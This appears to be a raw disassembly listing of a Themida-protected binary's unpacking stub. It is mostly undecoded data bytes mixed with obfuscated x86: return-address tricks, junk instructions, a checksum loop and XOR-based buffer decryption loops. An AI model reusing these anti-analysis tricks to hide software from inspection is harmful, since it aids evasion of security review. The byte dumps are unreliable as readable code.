jmp loc_5CAB0C ; --------------------------------------------------------------------------- db 97h, 7Eh, 97h dd 0B7C58B86h, 0DF66048Bh ; --------------------------------------------------------------------------- loc_5CAB0C: ; CODE XREF: Themida_:005CAAFCj push dword ptr [ebp+615BD0Ch] jmp loc_5CAB20 ; --------------------------------------------------------------------------- db 6Ch dd 0EAB76E01h, 81897225h ; --------------------------------------------------------------------------- loc_5CAB20: ; CODE XREF: Themida_:005CAB12j call dword ptr [ebp+6122029h] push 0 push ecx call sub_5CAB31 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CAB31 proc near ; CODE XREF: Themida_:005CAB29p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5CAB31 endp ; --------------------------------------------------------------------------- test byte ptr [ebx-287E99CAh], 0BAh mov eax, ds:0BD00B58Bh adc eax, 51006A06h call sub_5CAB5A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CAB5A proc near ; CODE XREF: Themida_:005CAB52p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5CAB5A endp ; --------------------------------------------------------------------------- jnb short near ptr loc_5CAB8B+5 sbb eax, 9501B2C9h icebp and dl, [edx] push es mov dword ptr [esi], 10001h push 0 push ebx call sub_5CAB86 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CAB86 proc near ; CODE XREF: Themida_:005CAB7Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx loc_5CAB8B: ; CODE XREF: Themida_:005CAB6Aj add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5CAB86 endp ; --------------------------------------------------------------------------- jo short near ptr loc_5CABDE+7 nop push ds aaa dec ebp jge short near ptr byte_5CABFB rcl dword ptr [esi-727669B0h], 9Dh or edx, [edx] push es sub [ebp+6122F35h], ecx push dword ptr [ebp+615BD0Ch] stc call dword ptr [ebp+6121AE1h] clc mov esi, [ebp+615BD00h] add ebx, [ebp+6123021h] mov eax, [ebp+6123039h] push 0 push edi call sub_5CABD9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CABD9 proc near ; CODE XREF: Themida_:005CABD1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi loc_5CABDE: ; CODE XREF: Themida_:005CAB96j add [esp-4+arg_4], 15h inc edi push edi retn sub_5CABD9 endp ; --------------------------------------------------------------------------- db 0FCh, 0B8h, 0Fh dd 682h, 61BD2300h, 89061221h db 86h, 0C4h, 0 byte_5CABFB db 0 ; CODE XREF: Themida_:005CAB9Cj dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0ED07A31Ah, 25459D23h, 0C3810612h, 50A6B12Eh dd 2DCD958Bh, 0E9500612h, 9, 8CF211F2h, 2CC835AAh, 0C2835FFDh dd 8E904h, 2A560000h, 67B69D28h, 50895F20h, 51858920h dd 8D061223h, 15D0EA85h, 0C8A0F06h, 0F000000h, 681h, 659D8B00h dd 89061230h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0E4044E4h, 0CA73D45Dh dd 57006A25h, 99850160h, 8B061210h, 1200D18Dh, 895B6106h dd 1228E185h, 0CB5FF06h, 0FC0615BDh, 2CD595FFh, 880F0612h dd 2, 8B96D98Bh, 0BE850FEh, 0FF000000h, 1D330446h, 0DCE9900Eh dd 965B2668h, 2810Fh, 0DE8B0000h, 0BD0CB5FFh, 8D890615h dd 6121331h, 2E2995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 26DCFFC3h, 0E9FA8B66h dd 11h, 0F0011691h, 864A0078h, 0AAE69B80h, 0A85A3BD7h dd 89BD837Fh, 61211h, 38840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 1B358FC3h dd 499F02D7h, 8A0F5096h, 2, 8996D98Bh, 1200899Dh, 7D4DBF06h dd 0B5FF3667h, 615BD0Ch, 1B3D9D8Bh, 95FF0612h, 6122AA5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0DCC35040h dd 9333D2DAh, 43CF81A4h, 0FF1E5DBCh, 15BD0CB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 9DBD8968h, 89061213h, 1217D195h, 0B195FF06h, 6A06121Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 785BC353h, 56009445h, 0F51B309h, 835FD9B7h dd 122A41BDh, 840F0206h, 34h, 0FF4DBB66h, 18A9858Bh, 0DE8B0612h dd 6A0000C6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 90C2C350h, 0F5481D1Dh, 0FE26DA98h dd 30185C7h, 612h, 0BF0F0000h db 0FEh ; --------------------------------------------------------------------------- loc_5CAE55: ; CODE XREF: Themida_:005CAAE9j ; Themida_:005CAAF6j jmp loc_5CA226 ; --------------------------------------------------------------------------- mov edi, [ebp+6121FD1h] mov eax, ecx jmp loc_5CAE79 ; --------------------------------------------------------------------------- db 8Fh dd 6E4503h, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5CAE79: ; CODE XREF: Themida_:005CAE62j jmp loc_5CB408 ; --------------------------------------------------------------------------- dw 0C3CEh dd 2666FF4Ch, 87039CE9h, 0EDA23B88h, 513CD522h, 348171BEh dd 0EF3CD3BAh, 8DDA3556h, 26739CF4h, 0C10E018Dh, 0F79098E7h dd 844DF652h, 0B7D790A7h, 7297C558h, 0F5BEF31Ch, 0D600B998h dd 937A63F6h, 1740C774h, 81ECECC8h, 1CF39B34h, 0F3FC0E7h dd 0E233E74Eh, 0B1DDEE81h, 1A65DCA0h, 40AB0909h, 0C54A420Bh dd 0D9404D06h, 512459B6h, 1FDEB1E6h, 0E00E7017h, 75081347h dd 0FBE6FA90h, 26851192h, 0D2EDE271h, 0AF602E3Fh, 48C7C962h dd 0EE210889h, 0F720EF9Dh, 0E87BCD39h, 0DB3E52EBh, 0E52A65B4h dd 772DDB0h, 8C94ABD2h, 47DFD2FBh, 6F1C7D88h, 8FFC0DA0h dd 9840C180h, 339B5EA7h, 0F9A18619h, 4F6769EAh, 88702C8Fh dd 0AD38A9F5h, 46DF2CE3h, 4F08C748h, 5C41D43Bh, 27ACB435h dd 69214B4Ah, 0F98C8308h, 0E026F599h, 5D16A547h, 0FD49DC33h dd 39D5ADE4h, 730222BCh, 54000000h, 0BEF31C72h, 0DF5FE7A6h dd 52BDD347h, 0D43B541Dh, 0A53CC09Fh, 9051BD40h, 0BCFE99F9h dd 14E22h, 72A00000h, 99C0F51Ah, 600D7A82h, 636E47DFh dd 42CDBFD0h, 315A0283h, 0CC8CE89Ch, 48B5439h, 2C40D60Bh dd 6923DCB5h, 0B9E71A6h, 307D92FAh, 6E22F797h, 99DB6CA1h dd 17B05D08h, 6F2E9904h, 1E375058h, 0F0B347E0h, 0E9AB06C5h dd 0D3667109h, 5B1420D6h, 0D6A9DE31h, 61F41B75h, 9DD23D50h dd 3ED1BD76h, 92A33609h, 1E015FAh, 722B647Dh, 4D5EF11Eh dd 0E982CF40h, 94AB6AA5h, 0DF5FFB8Ch, 0EA7D8847h, 0C14E3C05h dd 0CCD4EB02h, 47DF5FBBh, 7A0DBDC8h, 947DF5Fh, 0F6866BFEh dd 5E0F36B7h, 1298A2E7h, 0D7AE337Fh, 22BCC38Fh, 7D1Ch dd 0FD146E00h, 0DF5F92F5h, 53E6F147h, 8FC44B42h, 0EFF7C4C6h dd 47DF5F98h, 4075E0EBh, 0A04B96AAh, 3CD522EDh, 0C089BE51h dd 420B40CFh, 0C48DC24Dh, 490E43CCh, 6F974C95h, 0EFF78E53h dd 0CF22BCFCh, 0C7DC7516h, 0F46C2F6Dh, 484ADD48h, 4Ch dd 1FF0A059h, 0D6B617EAh, 9E310439h, 0F41B7270h, 759AF6BFh dd 0F9167740h, 7B94FBC4h, 7B127346h, 0B5C95F94h, 0DE22B72Ch dd 6AA5E803h, 5B14671Dh, 0D8ABE02Fh, 0B7583445h, 60246A82h dd 0C7847DFh, 0FEC6BED5h, 11322BCh, 65000000h, 38F71872h dd 0A3AB107Fh, 47DF5FE4h, 0EC218C97h, 7AA18619h, 0C9C32DF9h dd 8C1F4995h, 8606137Bh, 43356089h, 0ACDE08C1h, 0C2C98241h dd 0B245184Dh, 8F8A04CDh, 8DB10FFh, 0EB9F689Dh, 0AEF2EF24h dd 826EAE33h, 206D265Fh, 9FF1BAEFh, 0FD683B70h, 0DE31596Ah dd 8700081Fh, 0F447DFE3h, 0FC5956E9h, 474F0EF3h, 49F207B7h dd 0FA13C58Eh, 7DDE37E3h, 7A14DD12h, 98514895h, 0A26D23F6h dd 0FA2F9A6Dh, 46C9C627h, 65ECA2B3h, 4B3113C5h, 0A7FBAB77h dd 791B90B9h, 7E4A3D45h, 2E394DF1h, 0B2358C3h, 4DF17E82h dd 0C621C004h, 61FA47C8h, 0E4ADE22Dh, 513065AAh, 0B5D914CDh dd 0B8180D5Ah, 6D24AEE1h, 129h, 0C0A5AEBFh, 7729F901h dd 91449F1h, 1EFB914Ah, 976A9F70h, 0EBB4992Ch, 861F6CA3h dd 9D20708h, 8C558A85h, 0ED70C03h, 0B2B0D081h, 0ECCCC846h dd 0B834C81h, 1FC2D604h, 859C43BAh, 0F1D30A7Dh, 0DB6E794Dh dd 0F797528Fh, 0BDD4CB18h, 0F1D2D2B5h, 4A52B14Dh, 4DF1D33Dh dd 35C8333Eh, 0AE8DC8C8h, 481D24h, 752E0000h, 0B253371Ah dd 561AFA3h, 0AED9079Ah, 0F800BFA4h, 0C7DF5F6Fh, 344C818Ch dd 0C7DF5E53h, 0FB2AB76Bh, 3D4504F1h, 47DF5E2Ah, 95F2FA59h dd 0E647DF5Fh, 0FB66A9E5h, 354C4390h, 0DF5F5A2Dh, 8B1E2947h dd 7C7Ch, 0A5AEE600h, 55F901C0h, 0B049F181h, 0FA2FE0AFh dd 44FDBC27h, 4F34C748h, 0BA070886h, 6DA26D21h, 0F1883755h dd 0DC62D4Dh, 86598E81h, 0AF3AA7F3h, 86E330DFh, 20D9987Dh dd 2AE5AB6Eh, 8FF800BFh, 0EC4DF188h, 0C8DF4EE1h, 8AF647h dd 6AFDB3B7h, 6A3380Ah, 41496050h, 47E40846h, 4F972A35h dd 48460F44h, 0DBEA92C7h, 6DA26D22h, 26BB079Ah, 4807EEF7h dd 0F8F20240h, 55A2AD49h, 0C0A5AE9Fh, 0CC434801h, 0B7EC236Bh dd 0DAE251E4h, 49F44968h, 4E174C57h, 0E982CF40h, 2AAB6AA5h dd 3C6E3588h, 0E578BBh, 0C9B29BE8h, 9A1B52F5h, 0CDD9F19h dd 0E1E9A803h, 0B62508A6h, 0EB37CAD5h, 0BBD48DF6h, 0DEB0C154h dd 434BE431h, 0C1CE97CCh, 3A16BC90h, 31921922h, 0A87BB05Fh dd 503F083Dh, 0CCC18ABFh, 4B450E43h, 0F6EB2FC4h, 2CB5A1E1h dd 0F542CDC1h, 0A8DD325Ch, 3E1h, 34224B00h, 0BBF01F72h dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h dd 0CF040B84h, 568B8406h, 0DB10FF8Dh db 0D4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push esi mov esi, 616F3A4h mov eax, esi mov esi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, eax mov [esi+8], edx pop edx push dword ptr [esp] pop esi add esp, 4 mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- db 4Bh, 0ECh, 48h dd 3E2379AAh ; --------------------------------------------------------------------------- loc_5CB408: ; CODE XREF: Themida_:loc_5CAE79j mov eax, 616F89Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F6h, 80h, 60h dd 0E1035819h, 194B0A6Bh, 61415635h, 8A8D351h, 0FBC31179h dd 0F1CD0117h, 0BEC5592Bh, 0BD9F3B7Ah, 7ABEB453h, 0CAC7124Bh dd 0FEA88749h, 3E7E105Bh, 0F3D0B94Ah, 0F8458150h, 0F65F437Fh dd 1F715324h, 0E24D1F0Dh, 0FD754360h, 90F3D16Fh, 65858D3Dh dd 52061200h, 905BFE8Bh, 0FE8h, 0F37F8000h, 74061455h dd 0C4740D47h, 0C8547E02h, 0F33DBF66h, 8A51505Fh, 0F905FDCh dd 1884h, 0BE96000h, 7D000000h, 0B1CAC38h, 0CFAE309Ah dd 8D8B7FB0h, 61225E9h, 0AE961h, 40760000h, 0C2A1AA40h dd 0C15CDA2Eh, 6AF9006Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 643689C1h dd 0DAB8F90Eh, 858938C6h, 61227EDh, 0FB81858Dh, 6A0616h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0D02500C3h, 0E4529341h, 53BE7C24h, 28A5B589h, 895F0612h dd 1226A195h, 5C08306h, 20C9BD8Bh, 66500612h, 489DE8Bh dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 867350B0h, 56EF815Fh, 6A19F3C7h, 0E3816600h dd 6A363Ah, 19E59D8Bh, 95FF0612h, 6120B55h, 619D89h, 0B7510612h dd 8D8D5FA4h, 6159BCAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 63C35747h, 80E99D6Dh, 0D1FFADE7h, 81B58B60h dd 51061223h, 0F9B0E381h, 615B35B0h, 0EE9BD83h, 0F010612h dd 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 9D8BC81Eh, 61233F5h, 6A026Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A8484AC3h, 0BF0F651Dh, 0DF8B50F8h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0BBD4C352h, 883C27Eh, 5FD88B51h, 11852960h, 52061227h dd 12E9h, 4D94F000h, 102EF86Ch, 0BF467806h, 8BC9A41Eh dd 5A5D0D26h, 0D595FF61h, 5706122Ch, 0E95BD98Bh, 0F16h dd 0E8h, 0ED815D00h, 616FB8Bh, 88A0Fh, 1500000h, 1231F585h dd 8E95B06h, 92000000h, 0B8DFBC2Bh, 8D9F8B50h, 15968F85h dd 0F7816606h, 509016E9h, 0FE9h, 0CBAEA00h, 1AEE9CA0h dd 32B532D6h, 4BFA1BD2h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0FF64AF3Fh, 35h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0BAFE1295h, 2831BD33h, 89640612h, 25h, 69BD8B00h, 0FF061208h dd 12123585h, 0A59D8B06h, 6A061214h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 2EE38C81h dd 8B1E5C49h, 122119BDh, 0A59D0306h, 0FF061225h, 1232E5B5h dd 12E806h, 9C600000h, 58AE83AEh, 0E4BBD292h, 609D1AEFh dd 0B87F7F1Ch, 2935BD8Bh, 0FF5B0612h, 12147595h, 148E906h dd 0BD230000h, 612245Dh, 0CE900B0h, 46000000h, 0D059949Ch dd 0BE10A15h, 0E6561CA9h, 6850F70h, 8B000000h, 123029BDh dd 0B771E406h, 159D8BCAh, 3C061234h, 0F830F61h, 0E8000001h dd 0Bh, 10073029h, 48B5D039h, 0FAB969Dh, 589h, 0FBF9BF00h dd 0F5B3A00h, 0DBBC8B6h, 0BA2DC01Bh, 6, 0BF35DB81h, 0C18B0FA5h dd 34519D8Bh, 0E8C10612h, 0DB50904h, 66061200h, 0B70FE2F7h dd 0FC82BFEh, 178Eh, 0BE800h, 0D0680000h, 615E6D8Ah, 44C325C5h dd 0BDB58971h, 5B061223h, 0BD8BD18Bh, 61212B9h, 9DE9h dd 0FD9D0100h, 66061233h, 8B26A2BBh, 554C5085h, 6E847h dd 32E20000h, 38A6AEE9h, 835BFA8Bh, 8F0F07C0h, 0 db 83h, 0C0h, 0 ; --------------------------------------------------------------------------- mov ebx, ecx cmp edx, eax jnb loc_5CB854 jmp loc_5CB8B2 ; --------------------------------------------------------------------------- mov [ebp+612345Dh], ebx loc_5CB854: ; CODE XREF: Themida_:005CB843j mov ecx, [ebp-1] push edx jnp loc_5CB867 mov edi, [ebp+6121785h] loc_5CB867: ; CODE XREF: Themida_:005CB85Bj pop ebx and ecx, 1 jz loc_5CB8B2 movzx ebx, cx and dword ptr [ebp-1], 0FFFFFFFEh jmp loc_5CB888 ; --------------------------------------------------------------------------- dd 6EDA5061h, 0DC299A3Ah ; --------------------------------------------------------------------------- loc_5CB888: ; CODE XREF: Themida_:005CB87Bj or [ebp+6122B29h], eax mov [ebp+47554C50h], edx push edx jge loc_5CB8AC jmp loc_5CB8AC ; --------------------------------------------------------------------------- dd 2793C4B3h, 4CBDB3EEh, 732D60D4h ; --------------------------------------------------------------------------- loc_5CB8AC: ; CODE XREF: Themida_:005CB895j ; Themida_:005CB89Bj pop edi jmp $+5 loc_5CB8B2: ; CODE XREF: Themida_:005CB849j ; Themida_:005CB86Bj lea esi, [ebp+6167492h] push 0 push ecx call sub_5CB8C3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB8C3 proc near ; CODE XREF: Themida_:005CB8BBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx loc_5CB8D1: ; CODE XREF: Themida_:005CB907j push ecx retn sub_5CB8C3 endp ; --------------------------------------------------------------------------- xor al, 46h mov bl, 95h cld push 0 mov ebx, 7CC9AC8Ch call dword ptr [ebp+61229D1h] push 0 push eax call sub_5CB8F0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB8F0 proc near ; CODE XREF: Themida_:005CB8E8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5CB8F0 endp ; --------------------------------------------------------------------------- mov ds:0F427C9D8h, al inc ecx dec edi jg short loc_5CB8D1 mov edi, [ebp+6121199h] mov ecx, 1057h mov edi, eax and ecx, 0FFFFFFFCh push 0 push edi call sub_5CB924 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB924 proc near ; CODE XREF: Themida_:005CB91Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5CB924 endp ; --------------------------------------------------------------------------- dd 0B172FDAEh, 56F0FF30h, 6AFC39h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0D18C2FC3h, 0B8h, 0B5BD0100h dd 0BA061225h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CB977 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB977 proc near ; CODE XREF: Themida_:005CB96Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5CB977 endp ; --------------------------------------------------------------------------- xchg eax, edx shl dword ptr [esi-45h], 0Eh pusha loc_5CB98D: ; CODE XREF: Themida_:005CB997j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CB98D mov [ebp+6121AD1h], edx push 0 push eax call sub_5CB9AA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB9AA proc near ; CODE XREF: Themida_:005CB9A2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5CB9AA endp ; --------------------------------------------------------------------------- sal esi, cl xor al, 5Ch sbb ebx, [ebx+ebx*2+0B7BCBA5h] popf frstor byte ptr [edi] adc al, [esi] or eax, 88h push 0 push ecx call sub_5CB9DA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB9DA proc near ; CODE XREF: Themida_:005CB9D2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5CB9DA endp ; --------------------------------------------------------------------------- dw 0A0EFh ; --------------------------------------------------------------------------- cdq jmp loc_5CBA00 ; --------------------------------------------------------------------------- dw 6383h dd 459362E1h, 0CE87A01Dh, 7282FAC0h ; --------------------------------------------------------------------------- loc_5CBA00: ; CODE XREF: Themida_:005CB9EDj mov edx, [ebp+6122DCDh] mov [ebp+6122C89h], ebx mov ecx, [ebp+61231BDh] mov di, 321h push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax call loc_5CBA41 rcl byte ptr [esi-15h], cl iret ; --------------------------------------------------------------------------- db 0B7h, 95h, 0E8h dd 2047F138h, 0D3DB537Fh, 73F2EE04h db 0A8h ; --------------------------------------------------------------------------- loc_5CBA41: ; CODE XREF: Themida_:005CBA28p jmp loc_5CBA55 ; --------------------------------------------------------------------------- dw 3243h dd 0E8F43020h, 0CF0B2F61h, 92AC46D7h db 0BEh ; --------------------------------------------------------------------------- loc_5CBA55: ; CODE XREF: Themida_:loc_5CBA41j pop ebx and edi, [ebp+61226CDh] cmp dword ptr [ebp+6121419h], 0 jz loc_5CBAC5 mov edi, ecx mov eax, 0 call sub_5CBA87 cld lock lodsd mov ch, 3 ; --------------------------------------------------------------------------- dw 0CC8Eh dd 3E5A1909h, 27A76B04h db 72h, 3, 1Dh ; =============== S U B R O U T I N E ======================================= sub_5CBA87 proc near ; CODE XREF: Themida_:005CBA70p mov [ebp+61218D1h], ebx pop ebx lea ecx, [ebp+6124E4Bh] push 0 push ebp call sub_5CBA9F and [ebp-3Dh], bl sub_5CBA87 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CBA9F proc near ; CODE XREF: sub_5CBA87+10p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5CBA9F endp ; --------------------------------------------------------------------------- sub ebx, 0FFFFFFBAh and esi, [ecx-74599089h] mov ebp, 61215B5h jmp ecx ; --------------------------------------------------------------------------- and ebx, 8A91BF4h loc_5CBAC5: ; CODE XREF: Themida_:005CBA63j cmp dword ptr [ebp+6120011h], 0 jz loc_5CC077 push 0 push edx call sub_5CBADD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBADD proc near ; CODE XREF: Themida_:005CBAD5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CBADD endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0BBB0h dd 0B90C6982h, 0F56DB45h, 185h, 835FF900h, 120011BDh, 840F0106h dd 586h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0CAC35646h, 69331021h, 66D38193h, 83239AE3h, 120011BDh dd 860F0306h, 51Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0FBC35242h, 1D3AC373h, 0FD71108Fh, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0FBB9475h, 8B551E73h, 1229419Dh, 0D98C6606h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D0C35242h, 51F4585h dd 0C618759h, 4E18031h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 90C35040h, 628975F2h, 585896Bh, 0A061209h dd 0D0840FC9h, 57000001h, 8B5BDF8Bh, 1224CD85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1C91520Eh, 0E80E25BEh, 7E97CCBh, 0D4000000h, 568C5E3Eh dd 11E9F1BDh, 0FB000000h, 9D788C7h, 0D220C422h, 7278D211h dd 0D0861AFEh, 248D8533h, 0DF810612h, 48BD4149h, 23F19589h dd 0BF900612h, 33F86E00h, 9E850h, 6B5A0000h, 0F77A1C2Dh dd 0E9F5CB3Fh, 0Fh, 37766282h, 89FED335h, 991FE9E5h, 5B18B0D2h dd 14E990h, 29FF0000h, 0A638574Fh, 0C3B5112h, 0B2BC50F3h dd 65AD161h, 0BD8961E2h, 61217D1h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F5162DC3h dd 0D97C35A6h, 8147ADDAh, 644327C7h, 758D8943h, 68061213h dd 0E3BC2B87h, 14E9h, 9509A000h, 5257994Ah, 8945F780h dd 0CA93B992h, 36C690C5h, 2404818Bh, 1C62D878h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3DC35242h, 95FFFDA5h dd 6123031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 2AC35646h, 3F98405Eh, 0A92A0E2h, 0BD0C8589h, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 690E54C3h, 27019589h, 13E90612h, 2F000000h, 1709120Eh dd 48C00C5Ah, 1F276A3Eh, 2FB81437h, 4EE90CD8h, 6A000002h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E8F7C352h, 7, 64DDC776h, 9C5D42Fh, 12039D95h dd 8E95B06h, 23000000h, 4349AFF8h, 8BF963DBh, 15BD0485h dd 2DBD2906h, 0E9061213h, 6, 86E19FEAh, 0C7092Dh, 18h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h dd 98FD8CFBh, 0BB918B52h, 0E18D897Dh, 8B061213h, 15BD08B5h dd 24EF8006h, 10E9h, 0E4E18D00h, 1E84B9EDh, 8004643h, 0DD8D0FC7h dd 99858BA2h, 89061223h, 121DB1BDh, 53068906h, 0C64CBF66h dd 0CD858B5Fh, 6A061224h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4A8FC353h, 3FA23D6Bh dd 0E7B7418Ch, 8B82DB80h, 12087DBDh, 9DBD8B06h, 89061232h dd 20BB0446h, 50643B12h, 7C5ABF66h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8C85C356h, 0EA0CEA7h, 0BD8B12FDh, 6121605h, 0BD04B5FFh dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 61D750C3h, 1DF19D8Bh, 0BD890612h, 6120EE5h dd 0A4DB6268h, 98BB66BBh, 24048148h, 447A289Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 0D0E4CEC3h dd 5E9h, 0DC2F1C00h, 8A0F5136h, 6, 3D8D09h, 0BD090612h dd 61215B5h, 0BD0C858Dh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 1DD4A7C3h, 0B9BCEDF9h dd 6050FA95h, 0E9F88B66h, 6, 0CBF4431h, 8961FB37h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 7F4104C3h, 93FF09CAh, 0FE9h, 3144000h, 1B0B2B5Fh, 92ED1F5Dh dd 2827FD55h, 303195FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 69FCA4C3h, 0C56BF2F6h dd 0E1BD8B57h, 8B061231h, 1233759Dh, 6A6106h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F78069C3h dd 1185C7F1h, 3061200h, 8B000000h, 1225BD9Dh, 0CBD8306h dd 615BDh, 56840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0B6CD4FC3h, 45CF6957h dd 0EDB1BB91h, 9D8B5BA9h, 6122585h, 3EE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F8621A8h, 7FB3DBBFh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5CC077: ; CODE XREF: Themida_:005CBACCj ; Themida_:005CC08Ej push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CC077 jmp short loc_5CC0AD ; --------------------------------------------------------------------------- loc_5CC092: ; CODE XREF: Themida_:005CC0A9j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CC092 jmp short $+2 loc_5CC0AD: ; CODE XREF: Themida_:005CC090j mov eax, eax push 0 push edx call sub_5CC0BA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= 